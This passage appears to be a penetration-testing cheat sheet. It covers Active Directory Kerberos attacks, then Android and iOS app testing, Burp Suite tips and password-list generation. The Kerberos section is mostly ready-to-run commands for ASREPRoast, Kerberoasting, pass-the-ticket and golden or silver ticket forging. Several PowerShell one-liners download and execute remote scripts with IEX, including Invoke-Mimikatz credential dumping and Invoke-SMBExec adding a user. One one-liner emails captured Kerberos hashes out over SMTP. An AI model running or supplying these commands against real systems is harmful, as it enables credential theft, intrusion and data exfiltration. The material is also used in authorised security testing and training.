With Impacket example GetNPUsers.py:
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
Windows (internal)
With Rubeus:
# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>
# Powerview
Get-DomainUser -PreauthNotRequired
# https://github.com/HarmJ0y/ASREPRoast
Cracking with dictionary of passwords:
hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>
john --wordlist=<passwords_file> <AS_REP_responses_file>
Kerberoasting
Cracking users password from TGS, because TGS requires Service key which is derived from NTLM hash
# LDAP filter for users with linked services
LDAP: (&(samAccountType=805306368)(servicePrincipalName=*))
Linux (external)
With Impacket example GetUserSPNs.py:
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
Windows (internal)
With Rubeus:
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>
With Powershell:
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
Cracking with dictionary of passwords:
hashcat -m 13100 --force <TGSs_file> <passwords_file>
john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>
Overpass The Hash/Pass The Key (PTK)
NTDS.DIT, SAM files or lsass with mimi
Linux (external)
By using Impacket examples:
# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
# If not provided, password is asked
# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
Windows (internal)
# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt
# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\<remote_hostname> cmd
Pass The Ticket (PTT)
MiTM, lsass with mimi
Linux (external)
Check type and location of tickets:
grep default_ccache_name /etc/krb5.conf
If none return, default is FILE:/tmp/krb5cc_%{uid}.
In case of file tickets, you can copy-paste (if you have permissions) for use them.
In case of being KEYRING tickets, you can use tickey to get them:
# To dump current user tickets, if root, try to dump them all by injecting in other user processes
# to inject, copy tickey in a reachable folder by all users
cp tickey /tmp/tickey
/tmp/tickey -i
Windows (internal)
With Mimikatz:
mimikatz # sekurlsa::tickets /export
With Rubeus in Powershell:
.\Rubeus dump
# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))
To convert tickets between Linux/Windows format with ticket_converter.py:
# ccache (Linux), kirbi (Windows from mimi/Rubeus)
python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi
Using ticket in Linux
With Impacket examples:
# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
Using ticket in Windows
Inject ticket with Mimikatz:
mimikatz # kerberos::ptt <ticket_kirbi_file>
Inject ticket with Rubeus:
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
Execute a cmd in the remote machine with PsExec:
.\PsExec.exe -accepteula \\<remote_hostname> cmd
Silver ticket
Build a TGS with Service key
Linux (external)
With Impacket examples:
# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
Windows (internal)
With Mimikatz:
# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
Inject ticket with Rubeus:
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
Execute a cmd in the remote machine with PsExec:
.\PsExec.exe -accepteula \\<remote_hostname> cmd
Golden ticket
Build a TGT with NTLM hash and krbtgt key, valid until krbtgt password is changed or TGT expires
Tickets must be used right after created
Linux (external)
With Impacket examples:
# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
Windows (internal)
With Mimikatz:
# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>
# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>
# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>
# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
Inject ticket with Rubeus:
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
Execute a cmd in the remote machine with PsExec:
.\PsExec.exe -accepteula \\<remote_hostname> cmd
Misc
To get NTLM from password:
python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'
Delegation
Allows a service impersonate the user to interact with a second service, with the privileges and permissions of the user
- If a user has delegation capabilities, all its services (and processes) have delegation capabilities.
- KDC only worries about the user who is talking to, not the process.
- Any process belonging to the same user can perform the same actions in Kerberos, regardless of whether it is a service or not.
- Unable to delegate if NotDelegated (or ADS_UF_NOT_DELEGATED) flag is set in the User-Account-Control attribute of the user account or user in Protected Users group.
Unconstrained delegation
- User1 requests a TGS for ServiceZ, of UserZ.
- The KDC checks if UserZ has the TrustedForDelegation flag set (Yes).
- The KDC includes a TGT of User1 inside the TGS for ServiceZ.
- ServiceZ receives the TGS with the TGT of User1 included and stores it for later use.
Contrained delegation and RBCD (Resource Based Constrained Delegation)
Delegation is constrained to only some whitelisted third-party services.
- S4U2Proxy Contrained
- S4U2Proxy RBCD
- S4U2Proxy Service Name Change
- S4U2Self
- S4U2Self & S4U2Proxy combined Contrained
- S4U2Self & S4U2Proxy combined RBCD
- RBCD attack
https://github.com/tothi/rbcd-attack
PS tips & tricks
PS onliners
# Send email
powershell -ep bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash0.txt" ; $emailSmtpServer = "smtp.gmail.com" ; $emailSmtpServerPort = "587" ; $emailSmtpUser = "Add-Your-Gmail-Email-Address" ; $emailSmtpPass = "Add-Your-Gmail-Password" ; $emailMessage = New-Object System.Net.Mail.MailMessage; $emailMessage.From = "Add-Your-Gmail-Email-Address" ; $emailMessage.To.Add( "Add-Your-Gmail-Email-Address" ) ; $emailMessage.Subject = "Testing e-mail" ; $emailMessage.IsBodyHtml = $true; $emailMessage.Body = "test" ; $SMTPClient = New-Object System.Net.Mail.SmtpClient( $emailSmtpServer , $emailSmtpServerPort ); $SMTPClient.EnableSsl = $true ; $SMTPClient.Credentials = New-Object System.Net.NetworkCredential( $emailSmtpUser , $emailSmtpPass ); ; $attachment = "kerb-Hash0.txt" ; $emailMessage.Attachments.Add( $attachment ) ; $SMTPClient.Send( $emailMessage )
# Who's connected to DC
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/darkoperator/Veil-PowerView/master/PowerView/functions/Get-NetSessions.ps1'); Get-NetSessions -HostName WIN-O9LVH0D7KUN"
# List users in specified group
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/240711712e014f90b9e7d4f7e97f44c36cac65cf/powerview.ps1');Get-NetLocalGroup -HostName LAB22.server1.hacklab.local"
# User's groups
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Get-NetGroup -UserName user1"
# PTH
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-SMBExec.ps1');Invoke-SMBExec -Target 192.168.1.11 -Domain WORKGROUP -Username IEUser -Hash fc525c9683e8fe067095ba2ddc971889 -Command 'net user SMBExec Winter2017 /add'"
# See who's local admin
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/BloodHound_Old.ps1'); Get-NetLocalGroup -ComputerName WIN-O9LVH0D7KUN"
# Get DC names
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/BloodHound_Old.ps1'); Get-NetDomainController"
# List all machines names
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/BloodHound_Old.ps1'); Get-NetComputer -FullData | Get-NameField"
# What's copied in clipboard
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ClipboardContents.ps1');Get-ClipboardContents"
# Check if you're local admin in any remote machine
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Find-LocalAdminAccess"
# Run BH
powershell.exe “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/BloodHound_Old.ps1’); Get-BloodHoundData”
# Run mimikatz
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
# Get all A records in zone
Get-DnsRecord -RecordType A -ZoneName FQDN -Server ServerName | % {Add-Content -Value $_ -Path filename.txt}
Get-WmiObject -Namespace Root\MicrosoftDNS -Query "SELECT * FROM MicrosoftDNS_AType WHERE ContainerName='domain.com'"
# Get DC List
nltest /dclist, nslookup -q=srv _kerberos._tcp
General
# MobSF
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# Burp
Add proxy in Mobile WIFI settings connected to Windows Host Wifi pointing to 192.168.X.1:8080
Vbox Settings Machine -> Network -> Port Forwarding -> 8080
Burp Proxy -> Options -> Listen all interfaces
# Tools
https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet
https://github.com/MobSF/Mobile-Security-Framework-MobSF
https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security
# Flutter apps
https://github.com/Hamz-a/boring-flutter
https://github.com/ptswarm/reFlutter
# Frida
https://learnfrida.info/
# MobSF from cli
https://github.com/MobSF/mobsfscan
Android
Tools
Extract
# Jadx - decompiler gui
jadx-gui
# Jadx - decomp cli (with deobf)
jadx -d path/to/extract/ --deobf app_name.apk
# Apkx decompiler
apkx example.apk
# Apktool
apktool d app_name.apk
Get sensitive info
# Urls and secrets
# https://github.com/dwisiswant0/apkleaks
python apkleaks.py -f ~/path/to/file.apk
# Analyze URLs in apk:
# https://github.com/shivsahni/APKEnum
python APKEnum.py -p ~/Downloads/app-debug.apk
# Quick wins tool (go branch)
# https://github.com/mzfr/slicer
slicer -d path/to/extact/apk
# Unpack apk and find interesting strings
apktool d app_name.apk
cd apk_folder
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into"
grep -Phro "(https?://)[\w\.-/]+[\"'\`]" | sed 's#"##g' | anew | grep -v "w3\|android\|github\|http://schemas.android\|google\|http://goo.gl"
# Apk analyzer
# https://github.com/Cyber-Buddy/APKHunt
# Regex FCM Server Keys for push notification services control
AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140}
AIza[0-9A-Za-z_-]{35}
# FCM Google Server Keys Validation
# https://github.com/adarshshetty18/fcm_server_key
python3 fcmserverkey.py file.apk
# Facebook Static Analysis Tool
https://github.com/facebook/mariana-trench/
# Manifest.xml findings:
android:allowBackup = TRUE
android:debuggable = TRUE
andorid:exported= TRUE or not set (within <provider>-Tag) --> allows external app to access data
android.permission.WRITE_EXTERNAL_STORAGE / READ_EXTERNAL_STORAGE (ONLY IF sensitive data was stored/read externally)
Use of permissions
e.g. the app opens website in external browser (not inApp), however requires "android.permission.INTERNET" --> false usage of permissions. (over-privileged)
"android:protectionLevel" was not set properly (<permission android:name="my_custom_permission_name" android:protectionLevel="signature"/>)
missing android:permission (permission tags limit exposure to other apps)
Static analyzers
# Android Malware Analyzer
# https://github.com/quark-engine/quark-engine
pipenv shell
quark -a test.apk -r rules/ --detail
# Androtickler
https://github.com/ernw/AndroTickler
java -jar AndroTickler.jar
# androbugs.py
python androbugs.py -f /root/android.apk
# MobSF
# https://github.com/MobSF/Mobile-Security-Framework-MobSF
- Findings:
Cleartext credentials (includes base64 encoded or weak encrypted ones)
Credentials cracked (brute-force, guessing, decrypted with stored cryptographic-key, ...)
File permission MODE_WORLD_READABLE / MODE_WORLD_WRITEABLE (other apps/users are able to read/write)
If http is in use (no SSL)
Anything that shouldn't be there (debug info, comments wiht info disclosure, ...)
Manual analysis (adb, frida, objection, etc...)
# Good Checklist
https://mobexler.com/checklist.htm#android
# Adb
# https://developer.android.com/studio/command-line/adb?hl=es-419
adb connect IP:PORT/ID
adb devices
adb shell
adb push
adb install
adb shell pm list packages # List all installed packages
adb shell pm path xx.package.name
# DeviceId
adb shell
settings get secure android_id
adb shell sqlite3 /data/data/com.android.providers.settings/databases/settings.db "select value from secure where name = 'android_id'"
# Frida (rooted device method)
# https://github.com/frida/frida/releases
adb root
adb push /root/Downloads/frida-server-12.7.24-android-arm /data/local/tmp/. # Linux
adb push C:\Users\username\Downloads\frida-server-12.8.11-android-arm /data/local/tmp/. # Windows
adb root
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"
frida-ps -U # Check frida running correctly
# Run Frida script
frida -U -f com.vendor.app.version -l PATH\fridaScript.js --no-pause
# Easy way to load Frida Server in Rooted Device
https://github.com/dineshshetty/FridaLoader
# Frida (NON rooted device) a.k.a. patch the apk
# a) Lief injector method
# https://gitlab.com/jlajara/frida-gadget-lief-injector
# b) Objection and dalvik bytecode method
https://github.com/sensepost/objection/wiki/Patching-Android-Applications#patching---patching-an-apk
# Frida resources
https://codeshare.frida.re/
https://github.com/dweinstein/awesome-frida
https://rehex.ninja/posts/frida-cheatsheet/
https://github.com/androidmalware/android_frida_scripts
# Objection
# https://github.com/sensepost/objection
objection --gadget com.vendor.app.xx explore
android sslpinning disable
# Android Backup files (*.ab files)
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 backup.ab ) | tar xfvz -
# Useful apps:
# Xposed Framework
# RootCloak
# SSLUnpinning
# Check Info Stored
find /data/app -type f -exec grep --color -Hsiran "FINDTHIS" {} \;
find /storage/sdcard0/Android/ -maxdepth 7 -exec ls -dl \{\} \;
/data/data/com.app/database/keyvalue.db
/data/data/com.app/database/sqlite
/data/app/
/data/user/0/
/storage/emulated/0/Android/data/
/storage/emulated/0/Android/obb/
/assets
/res/raw
/target/global/Constants.java
# Check logs during app usage
https://github.com/JakeWharton/pidcat
# Download apks
https://apkpure.com
https://apps.evozi.com/apk-downloader/
https://apkcombo.com/
Burp Cert Installation > Android 7.0
#!/bin/bash
# Export only certificate in burp as DER format
openssl x509 -inform DER -in cacert.der -out cacert.pem
export CERT_HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1)
adb root && adb remount
adb push cacert.pem "/sdcard/${CERT_HASH}.0"
adb shell su -c "mv /sdcard/${CERT_HASH}.0 /system/etc/security/cacerts"
adb shell su -c "chmod 644 /system/etc/security/cacerts/${CERT_HASH}.0"
rm -rf cacert.*
# Reboot device
Tips
Recon:
- AndroidManifest.xml (basically a blueprint for the application)
Find exported components, api keys, custom deep link schemas, schema endpoints etc.
- resources.arsc/strings.xml
Developers are encouraged to store strings in this file instead of hard coding in application.
- res/xml/file_paths.xml
Shows file save paths.
- Search source code recursively
Especially BuildConfig files.
- Look for firebase DB:
Decompiled apk: Resources/resources.arsc/res/values/strings.xml, search for "firebsae.io" and try to access:
https://*.firebase.io/.json
API Keys:
- String references in Android Classes
getString(R.string.cmVzb3VyY2VzX3lv)
cmVzb3VyY2VzX3lv is the string resource label.
- Find these string references in strings.xml
apikeyhere
- Piece together the domains and required params in source code
Exported components:
- Activities - Entry points for application interactions of components specified in AndroidManifest.xml.
Has several states managed by callbacks such as onCreate().
→ Access to protected intents via exported Activities
One exported activity that accepts a user provided intent can expose protected intents.
→ Access to sensitive data via exported Activity
Often combined with deep links to steal data via unvalidated parameters. Write session tokens to an
external file.
→ Access to sensitive files, stealing files, replacing imported files via exported Activities
external-files-path, external-path
Public app directories
→ Look for "content://" in source code
- Service - Supplies additional functionality in the background.
→ Custom file upload service example that is vulnerable because android:exported="true". When exported by third party
applications can send data to the service or steal sensitive data from applications depending on the services function. Check if params and intent data can be set with proof of concept application.
- Broadcast receivers - Receives broadcasts from events of interest. Usually specified broadcasted intents in the broadcast receiver activity.
→ Vulnerable when receiver is exported and accepts user provided broadcasts.
→ Any application, including malicious ones, can send an intent to this broadcast receiver causing it to be triggered without any restrictions.
- Content providers - Helps applications manage access to stored data and ways to share data with other Android applications
→ Content providers that connect to sqlite can be exploited via SQL injection by third party apps.
Deep links
- In Android, a deep link is a link that takes you directly to a specific destination within an app.
- Think of deep links as Android urls to specific parts of the application.
- Usually mirrors web application except with a different schema that navigate directory to specific Android activities.
- Verified deep links can only use http and https schemas. Sometimes developers keep custom schemas for testing new
features.
- Type of vulnerabilities are based on how the scheme://, host://, and parameters are validated
→ CSRF - Test when autoVerify=”true” is not present in AndroidManifest.xml It’s easier.
→ Open redirect - Test when custom schemes do not verify endpoint parameters or hosts
→ XSS - Test when endpoint parameters or host not validated, addJavaScriptInterface and
→ setJavascriptEnabled(true); is used.
→ LFI - Test when deep link parameters aren’t validated. appschema://app/goto?file=
Database encryption
- Check database is encrypted under /data/data/<package_name>/
- Check in source code for database credentials
Allowed backup
- Lead to sensitive information disclosure
- adb backup com.vendor.app
Logging Enabled
- Check logcat when login and any action performed
Storing Sensitive Data in External Storage
- Check data stored after usage /sdcard/android/data/com.vendor.app/
Weak Hashing Algorithms
- MD5 is a weak algorythm and have collisions
Predictable Random Number Generator (PRNG)
- The java.util.Random function is predictable
Hard-coded Data
- Hard-coded user authentication information (credentials, PINs, etc.)
- Hard-coded cryptographic keys.
- Hard-coded keys used for encrypted databases.
- Hard-coded API keys/private
- Hard-coded keys that have been encoded or encrypted (e.g. base64 encoded, XOR encrypted, etc.).
- Hard-coded server IP addresses.
Debug Mode enabled
- Start a shell on Android and gain an interactive shell with run-as command
- run-as com.vendor.app
- adb exec-out run-as com.vendor.app cat databases/appName > appNameDB-copy
If you get built-in WebView and try to access:
appscheme://webview?url=https://google.com
appscheme://webview?url=javascript:document.write(document.domain)
If install apk in Genymotion fails with "INSTALL_FAILED_NO_MATCHING_ABIS":
- Apk is compiled only for ARM
- Download zip for your Android version here https://github.com/m9rco/Genymotion_ARM_Translation
- Move zip to VM and flash
https://pentester.land/tips-n-tricks/2018/10/19/installing-arm-android-apps-on-genymotion-devices.html
Mindmaps
iOS
https://martabyte.github.io/ios/hacking/2022/03/13/ios-hacking-en.html
# All about Jailbreak & iOS versions
https://www.theiphonewiki.com/wiki/Jailbreak
# OWASP MSTG
https://github.com/OWASP/owasp-mstg
# Jailbreak list
https://docs.google.com/spreadsheets/d/11DABHIIqwYQKj1L83AK9ywk_hYMjEkcaxpIg6phbTf0/edit#gid=1014970938
# Checklist
https://mobexler.com/checklist.htm#ios
# Jailbreak for iPhone 5s though iPhone X, iOS 12.3 and up
# https://checkra.in/
checkra1n
# 3UTools
http://www.3u.com/
# Cydia
# https://ryleylangus.com/repo
# Liberty Bypass Antiroot
# SSL Bypass
# https://github.com/evilpenguin/SSLBypass
# Check Info Stored:
3U TOOLS - SSH Tunnel
# Analyzing binary:
# Get .ipa
# unzip example.ipa
# Locate binary file (named as the app usually)
# Check encryption
otool –l BINARY | grep –A 4 LC_ENCRYPTION_INFO
# If returned "cryptid 1" ipa is encrypted, good for them
# Check dynamic dependencies
otool –L BINARY
# Using plutil to modify properties
# https://scriptingosx.com/2016/11/editing-property-lists/
# SSL Bypass
# https://github.com/evilpenguin/SSLBypass
find /data/app -type f -exec grep --color -Hsiran "FINDTHIS" {} \;
find /data/app -type f -exec grep --color -Hsiran "\"value\":\"" {} \;
.pslist= "value":"base64"}
find APPPATH -iname "*localstorage-wal" -> Check manually
# Extract IPA from installed app
# https://github.com/AloneMonkey/frida-ios-dump
# Manual way (without launching the app)
ls -lahR /var/containers/Bundle/Application/ | grep -B 2 -i 'appname' # To find app ID
scp -r root@127.0.0.1:/var/containers/Bundle/Application/{ID} LOCAL_PATH
mkdir Payload
cp -r appname.app/ Payload/
zip -r app.ipa Payload/
# Objective-C and Swift class dumper
# https://github.com/DerekSelander/dsdump
# Interesting locations
/private/var/mobile/Containers/Data/Application/{HASH}/{BundleID-3uTools-getBundelID}
/private/var/containers/Bundle/Application/{HASH}/{Nombre que hay dentro del IPA/Payloads}
/var/containers/Bundle/Application/{HASH}
/var/mobile/Containers/Data/Application/{HASH}
/var/mobile/Containers/Shared/AppGroup/{HASH}
Burp Suite
Tips
- If Render Page crash:
sudo sysctl -w kernel.unprivileged_userns_clone=1
- If embedded browser crash due sandbox:
find .BurpSuite -name chrome-sandbox -exec chown root:root {} \; -exec chmod 4755 {} \;
- Scope with all subdomains:
.*\.test\.com$
- Use Intruder to target specific parameters for scanning
- Right click: actively scan defined insertion points
# Configuration
- Project Options -> HTTP -> Redirections -> Enable JavaScript-driven
- User Options -> Misc -> Proxy Interception -> Always disabled
- Target -> Site Map -> Show all && Show only in-scope items
# XSS Validator extension
1) Start xss.js phantomjs $HOME/.BurpSuite/bapps/xss.js
2) Send Request to Intruder
3) Mark Position
4) Import xss-payload-list from $Tools into xssValidator
5) Change Payload Type to Extension Generated
6) Change Payload Process to Invoke-Burp Extension - XSS Validator
7) Add Grep-Match rule as per XSS Validator
8) Start.
# Filter the noise
https://gist.github.com/vsec7/d5518a432b70714bedad79e4963ff320
# Filter the noise TLDR
# TLS Pass Through
.*\.google\.com
.*\.gstatic\.com
.*\.googleapis\.com
.*\.pki\.goog
.*\.mozilla\.com
# Send swagger to burp
https://github.com/RhinoSecurityLabs/Swagger-EZ
# Hosted:
https://rhinosecuritylabs.github.io/Swagger-EZ/
# If some request/response breaks or slow down Burp
- Project options -> HTTP -> Streaming responses -> Add url and uncheck "Store streaming responses...."
# Burp Extension rotate IP yo avoid IP restrictions
https://github.com/RhinoSecurityLabs/IPRotate_Burp_Extension
# Collab/SSRF/pingback alternative
interactsh.com
ceye.io
requestcatcher.com
canarytokens.org
webhook.site
ngrok.com
pingb.in
swin.es
requestbin.net
ssrftest.com
rbnd.gl0.eu
dnslog.cn
beeceptor.com
# Run private collaborator instance in AWS
https://github.com/Leoid/AWSBurpCollaborator
# Run your own collab server
https://github.com/yeswehack/pwn-machine
# Wordlist from burp project file
cat project.burp | strings | tok | sort -u > custom_wordlist.txt
# Autorize:
1. Copy cookies from low priv user and paste in Autorize
2. Set filters (scope, regex)
3. Set Autorize ON
4. Navigate as high priv user
# Turbo Intruder
basic.py -> Set %s in the injection point and specify wordlist in script
multipleParameters.py -> Set %s in all the injection points and specify the wordlists in script
# Match and Replace
https://github.com/daffainfo/match-replace-burp
# Customize Audit Scans
Configure your audit profile -> Issues reported -> Individual issues -> right-click on "Extension generated issues" -> "Edit detection methods"
Works on most of issues like SQLi
# Send to local Burp from VPS
# In local computer
ssh -R 8080:127.0.0.1:8080 root@VPS_IP -f -N
# In VPS
curl URL -x http://127.0.0.1:8080
# Ip rotation
https://github.com/ustayready/fireprox
Preferred extensions
https://github.com/Ignitetechnologies/BurpSuite-For-Pentester
- Burp Bounty Pro: Active and passive checks customizable based on patterns.
- Active Scan ++ More active and passive scans.
- Software Vulnerability Scanner Passive scan to detect vulnerable software versions
- Param Miner Passive scan to detect hidden or unlinked parameters, cache poisoning
- Backslash Powered Scanner Active scan for SSTI detection
- CSRF Scanner Passive CSRF detection
- Freddy Active and Passive scan for Java and .NET deserialization
- JSON Web Tokens decode and manipulate JSON web tokens
- Reissue Request Scripter generates scripts for Python, Ruby, Perl, PHP and PowerShell
- Burp-exporter other extension for export request to multiple languages
- Retire.js Passive scan to find vulnerable JavaScript libraries
- Web Cache Deception Scanner Active scan for Web Cache Deception vulnerability
- Cookie decrypter Passive check for decrypt/decode Netscaler, F5 BigIP, and Flask cookies
- Reflector Passive scan to find reflected XSS
- J2EEScan Active checks to discover different kind of J2EE vulnerabilities
- HTTP Request Smuggler Active scanner and launcher for HTTP Request Smuggling attacks
- Flow History of all burp tools, extensions and tests
- Taborator Allows Burp Collaborator in a new tab
- Turbo Intruder Useful for sending large numbers of HTTP requests (Race cond, fuzz, user enum)
- Auto Repeater Automatically repeats requests with replacement rules and response diffing
- Upload Scanner Tests multiple upload vulnerabilities
- poi Slinger: Active scan check to find PHP object injection
- Java Deserialization Scanner Active and passive scanner to find Java deserialization vulnerabilities
- Autorize Used to detect IDORs
- Match/Replace Session Action Provides a match and replace function as a Session Handling Rule.
- .NET Beautifier Easy view for VIEWSTATE parameter
- Wsdler generates SOAP requests from WSDL request
- Collaborator Everywhere Inject headers to reveal backend systems by causing pingbacks
- Collabfiltrator Exfiltrate blind remote code execution output over DNS
- Bypass WAF Add some headers to bypass some WAFs
- SAMLRaider for testing SAML infrastructures, messages and certificates
- GoldenNuggets-1 create wordlists from target
- Logger++ Log for every burp tool and allows highlight, filter, grep, export...
- OpenAPI Parser Parse and fetch OpenAPI documents directly from a URL
- CO2: Multiple functions such sqlmapper, cewler
- XSSValidator: XSS intruder payload generator and checker
- Shelling: command injection payload generator
- burp-send-to: Adds a customizable "Send to..."-context-menu.
- ssrf-king: Automates SSRF detection
Private collaborator server
https://github.com/putsi/privatecollaborator
https://blog.roughwire.com/?p=24
https://teamrot.fi/self-hosted-burp-collaborator-with-custom-domain
Burp macros
https://akshita-infosec.medium.com/burp-macros-what-why-how-151df8901641
Collaborator SSRF explotation mindmap
Password cracking
Identify hash
# https://github.com/noraj/haiti
haiti [hash]
Dictionary creation
# Pydictor
# https://www.github.com/landgrey/pydictor.git
pydictor.py -extend TERM --leet 0 1 2 11 21 --len 4 20
# Username generator
# https://github.com/benbusby/namebuster
namebuster https://example.com
namebuster "term1, term2"
https://app.wgen.io/
Examples
# Numeric dictionary length 4
python3 pydictor.py -base d --len 4 4
# Capital letters dictionary length 4
python3 pydictor.py -base c --len 4 4
# Prepend word + digits 5 length
python3 pydictor.py --len 5 5 --head raj -base d
# Append word after digits 5 length
python3 pydictor.py --len 5 5 --tail raj -base d
# Permute chars in word
python3 pydictor.py -char raj
# Multiple permutations
